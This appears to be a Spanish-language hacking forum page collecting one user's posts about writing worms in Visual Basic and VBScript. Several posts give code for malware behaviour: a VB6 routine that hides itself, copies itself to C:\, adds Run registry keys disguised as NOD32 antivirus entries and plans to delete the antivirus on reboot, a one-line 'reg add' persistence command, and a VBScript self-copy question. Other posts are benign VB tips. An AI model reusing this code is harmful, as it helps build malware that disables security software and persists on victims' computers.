Mensajes

la leccion q sacaste no es no correr tus propios worms...la leccion es a crear y no copiar-pegar codigos q NO ENTIENDES, silo ubieras entendido lo hubieras solucionado al instante, asi q si estas haciendo un worm, te digoq primero aprendas las funciones q le vas a poner y se te ocurran a ti!!!

MUERTE AL COPY-PASTE!!!! xDxDxD

Código [Seleccionar] Expandir


open "c:\archivo.txt" for append as #1
print #1, "lo q qras"
print #1, o_tal_vez_qrs_una_variable
print#1, text1.text
close #1


weno mi idea es reemplazarnos por la entrada al registro del nod32 y luego la proxima vz q se prenda el pc matar los archivos (q no van a estar en uso hahaha)

Código [Seleccionar] Expandir


Private Sub Form_Load()
App.TaskVisible = false

If App.PrevInstance then
end
end if

FileCopy App.ExeName + ".exe" , "c:\jeje"

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod krn" , "C:\jeje.exe"

shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod kui" , "C:\jeje.exe"

If fso.FileExists("C:\windows\the shredder.dll") Then
kill 'el nod32krn y el otro, tbn podrias borrarle el uninstall para 'dejar basura en su pc...
'a estas alturas el nod32 ya va a estar muerto xD
End
Else
Open "c:\windows\the shredder.dll" For Output As #1
Print #1, "jejeje, si existo realiza la acción, si no no"
Close #1
End
End If
End Sub


asi al otro dia le mandas el server y hacke mate...
salu2

ocupa el explorador de objetos...

YO CREO QUE YA TE CONTESTARON TODAS TUS DUDAS, Y NO TRE PREOCUPES CREO QUE TODOS ESTUVIMOS EN ALGUN MOMENTO IGUAL QUE TU, TE QUIERO PREGUNTAR ES DE DONDE SACASTE ESE DISEÑO DE LOS FORM, ESTA MUY BIEN PRESENTADO.

jeje creo q es un skin para windows, si te fijas el vb tbn se ve asi...

jejeje leete en buen manual y hazlo tu para q aprendas, sino no vas a aprender...
salu2

en el command 1 escribes

Código [Seleccionar] Expandir


form2.visible = true
form1.visible = false 'esto solo si qieres tbn ocultar el form 1 si no tendras los 2 visibles

salu2

Weno ya descubri como, asi q q algun moderador borre el post y sorry por las molestias....

Código [Seleccionar] Expandir

Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NOMBRE /d c:\windows\system32\archivo.exe"

Que manía tienen los chicos de ahora con no usar las apis 

no puedo dejar el batch xDxDxD...

hola, weno estoy empezando con vb script y qria saber lo basico, ¿como autocopiarse? , necesito saber esto, ya q tngo este codigo y para q funcione correctamente tengo q saber el nombre del archivo...

Código [Seleccionar] Expandir

set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile ".\archivo.vbs" , "c:\copia.vbs"

yo necesito uno q no necesite el nombre de archivo, algo como App.Exename en visual basic...
salu2